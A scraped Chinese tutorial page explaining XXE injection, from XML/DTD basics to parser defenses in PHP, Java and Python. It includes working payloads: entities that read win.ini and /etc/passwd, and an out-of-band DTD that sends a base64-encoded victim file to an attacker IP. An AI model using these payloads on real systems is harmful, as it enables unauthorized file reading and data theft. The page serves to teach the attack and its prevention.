当前位置: 首页 > news >正文

网站集约化建设力度大学生做微商网站

网站集约化建设力度,大学生做微商网站,中国联通 腾讯,专门做门业的网站1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 http://www.w3school.com.…

1.定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

http://www.w3school.com.cn/dtd/index.asp   了解地址 

2.原理    

XXE(XML外部实体注入) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。     

http://10.0.0.139:92/phpinfo.php   ctrl +f    搜索输入内容

 默认为false

3.XXE攻击

  •  有回显

<?xml version = "1.0"?> <!DOCTYPE note [     
<!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]>
 <name>&hacker;</name>    

//定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">

 win操作系统读出来就是有xxe漏洞   Linux 读/etc/passswd

  • 无回显

建立*.dtd(攻击者服务器)
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64encode/resource=file:///c:/1.txt">   //被攻击的文件
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.0.128:80/?p=%file;'>">  

//内部的%号要进行实体编码成&#37   

在被攻击机创建1.txt  攻击机使用apache


 apache的日志文件里面查看


解码base64

 xml调用
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.128:88/test.dtd">
%remote;%int;%send;
]> 

4.如何找xxe漏洞
 

  •  白盒测试

        查看代码里面是否使用了LoadXML( )函数

  •     黑盒测试

        抓包看响应体是否存在xml,accept头是否接受xml
        抓包修改数据类型,把json改成xml来传输数据,后面修改一句话
        http://web.jarvisoj.com:9882/   例子
         出来的样子

           json的数据提交

           改为xml,下面改为

 <?xml version = "1.0"?> <!DOCTYPE note [     
<!ENTITY hacker SYSTEM "file:///etc/passwd" > ]> <name>&hacker;</name>  
 打比赛的ctf地址

  •  特征

            看到url文件名是否 .ashx后缀扩展名
            响应体为xml                 

5.防范方法

1、升级php版本
2、程序员修改代码
 PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
3、过滤关键词
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

http://www.yayakq.cn/news/578730/

相关文章:

  • 电子商务和网络营销的区别seo教学免费课程霸屏
  • 做淘宝好还是自建网站好广西建设厅培训中心官网
  • 高校网站群建设的公司有哪些济南商标注册
  • 做文案策划有些网站可看wordpress弹出搜索结果
  • 昆明网站设计8888168郑州关键词seo
  • 网站简历模板WordPress外贸企业站主题
  • 专门做lolh的网站网页制作及维护公司深圳
  • 珠海市横琴新区建设环保局网站怎样搜网站
  • 凡科网做的网站能直接用吗小程序模板图
  • 个人网站建设目标中医医院网站建设需求
  • 做网站游燕wordpress 相册 不显示
  • 前端做任务的网站wordpress 会员发帖
  • 如何查询网站域名备案亚马逊aws永久免费下载
  • 网站根目录多文件个人电商网站建设范例
  • 网站建设询价网站建设如何搭建框架
  • 百度网站降级的原因适合前端新手做的网站
  • 网站开发毕业设计文档网站上的ar是什么软件做的
  • 建设网站的意义作用是什么东莞属于哪个省哪个市
  • 建设部网站内装修标准wordpress定时功能
  • 阿泰勒北京网站建设网站搭建合作协议
  • 做衣服的网站推荐云南建设局网站首页
  • 域名过期的网站怎么看抖音代运营公司经营范围
  • 做软件常用的网站有哪些软件陕西建设网综合便民服务中心网站
  • 无锡怎么做网站推广2020电商网站排行榜
  • 网站制作方案怎么写巨量引擎广告投放平台代理
  • 陕西建设银行网站网络营销培训机构排名
  • 四川宜宾市网站建设公司词语搜索排行
  • 一个网站域名ip如何填写网站建设计划表
  • 做网站以后的趋势iis7 网站访问权限
  • 绿派网站建设做直播网站用什么语言